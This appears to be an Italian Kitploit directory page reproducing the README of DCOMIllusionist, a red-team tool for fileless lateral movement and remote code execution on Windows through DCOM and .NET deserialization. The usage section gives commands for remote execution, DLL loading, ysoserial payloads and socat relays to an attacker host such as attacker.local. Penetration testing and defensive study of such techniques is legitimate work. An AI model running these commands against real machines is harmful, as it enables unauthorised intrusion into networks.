Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DCOMIllusionist — Tecniche di movimento laterale DCOM in memoria e senza file attraverso la deserializzazione .Net | Kitploit
Strumenti/GitHubGitHub/synacktiv/dcomillusionist
Escalation di PrivilegiExploitMovimento LateralePost-ExploitPenetration TestingCommand and ControlAutenticazioneRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubsynacktiv/dcomillusionist
28333103 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DCOMIllusionist

Tecniche di movimento laterale DCOM in memoria e senza file attraverso la deserializzazione .Net

Vedi Repository
🎩✨🪄

DCOMIllusionist

Tecnica di movimento laterale senza file per Windows.

Introduzione  •  Compilazione  •  Utilizzo  •  Dettagli tecnici  •  Riconoscimenti


Introduzione

Questo strumento consente l'esecuzione remota di codice su una macchina Windows, se si dispone di privilegi amministrativi. Sfrutta DCOM e il comportamento dei server .NET DCOM, che deserializzano automaticamente gli oggetti in arrivo. Ciò rende possibile eseguire comandi arbitrari o caricare DLL senza scrivere su disco.

Originariamente scoperto da James Forshaw come tecnica di escalation dei privilegi, questo metodo è stato adattato per il movimento laterale modificando da remoto specifiche chiavi di registro. Inoltre, supporta lo sfruttamento cross-sessione tramite DCOM, consentendo l'esecuzione di comandi arbitrari all'interno di un'altra sessione utente sotto il contesto di sicurezza di quella sessione.

Funziona su workstation e server, ma è necessario l'accesso di rete tra la macchina di destinazione e una macchina controllata dall'attaccante.

Maggiori dettagli in questa sezione.

Compilazione

È disponibile una release, oppure puoi compilarlo manualmente:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Utilizzo

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANTE]
L'accesso amministrativo è richiesto sia sul host attaccante (tramite una shell elevata) che sulla macchina di destinazione per utilizzare con successo questo strumento.

Utilizzo:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Opzioni:
  -h, --help                        Mostra questo messaggio di aiuto ed esce
  -d, --debug                       Abilita il logging di debug
  -t, --target <value>              Imposta l'hostname o IP di destinazione
  -p, --port <value>                Imposta la porta di destinazione (Default: 49765)
      --clsid <value>               Specifica un CLSID (senza parentesi graffe)
      --appid <value>               Specifica un AppID (senza parentesi graffe)
  -s, --session <value>             Fornisce un identificatore di sessione
   -l --listen <host>               Specifica un listener FQDN o IP
  -g, --gadget <value>              Specifica il gadget da utilizzare
      --attacker-sid <value>        Imposta il SID dell'attaccante
      --no-port-check               Disabilita il controllo di disponibilità della porta
      --restore-backup <path>       Ripristina il registro da un backup
      --local-registry-only         Effettua solo modifiche al registro locale
      --remote-registry-only        Effettua solo modifiche al registro remoto
      --skip-local-registry-setup   Salta la configurazione del registro locale
      --skip-remote-registry-setup  Salta la configurazione del registro remoto
      --hku                         Esegue operazioni sul registro remoto su HKCU invece di HKLM
      --fake-clsid                  Crea un CLSID falso con un AppId falso

Attacchi:
      --ps-exec <args>              Esegue un comando da remoto usando PSExec
      --exec <cmd>                  Esegue un comando da remoto
      --exec-args <args>            Argomenti da passare al comando
      --curl <url>                  Usa un payload di richiesta web in stile curl
      --file-write-src <src>        File da scrivere
      --file-write-dst <dst>        Percorso di destinazione
      --load-dll <path>             Carica una DLL nel processo remoto
      --dll-class <value>           Classe nella DLL da eseguire (incluso namespace)
      --dll-method <value>          Metodo statico nella classe da eseguire (Default: Run)
      --yso-b64 <b64>               Esegue un payload ysoserial codificato in base64
      --test-network                Controlla l'accesso di rete dal target alla macchina attaccante
      --list-sessions               Elenca le sessioni interattive sul target

Esempi:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Utente interattivo)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Utente interattivo)

--session

Come spiegato in precedenza, è possibile specificare una sessione per eseguire comandi arbitrari nella sessione di un altro utente.

[!AVVISO] Funziona solo con AppID configurati per essere eseguiti sotto l'identità dell'utente interattivo. Questo viene gestito automaticamente, non è necessario specificare l'argomento --appid, poiché lo strumento utilizzerà per impostazione predefinita l'AppID associato a User Account Control Settings.

[!IMPORTANTE] Funziona solo se la macchina attaccante è unita a un dominio, maggiori dettagli qui.

--list-sessions

Elenca le sessioni interattive e attive remote sul target utilizzando WTSEnumerateSessions.

--listen

Se la macchina di destinazione non può raggiungere direttamente l'host dell'attaccante, l'exploit fallirà. Tuttavia, è possibile specificare una macchina intermedia che il target possa contattare. Utilizzando strumenti come socat, il traffico può essere poi inoltrato da questo intermediario all'host dell'attaccante.

listen

  • Sulla macchina compromessa:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Sulla macchina attaccante:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Quando si esegue l'exploit da una shell runas /netonly, l'identità associata non può essere recuperata automaticamente. Pertanto, è necessario fornirla esplicitamente utilizzando l'opzione --attacker-sid affinché l'attacco abbia successo.

--exec

--exec può essere utilizzato con --exec-args per eseguire binari arbitrari sul target:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTA] --ps-exec è solo un wrapper per questo, lo stesso risultato può essere ottenuto con: --ps-exec calc

--curl

Scarica lo strumento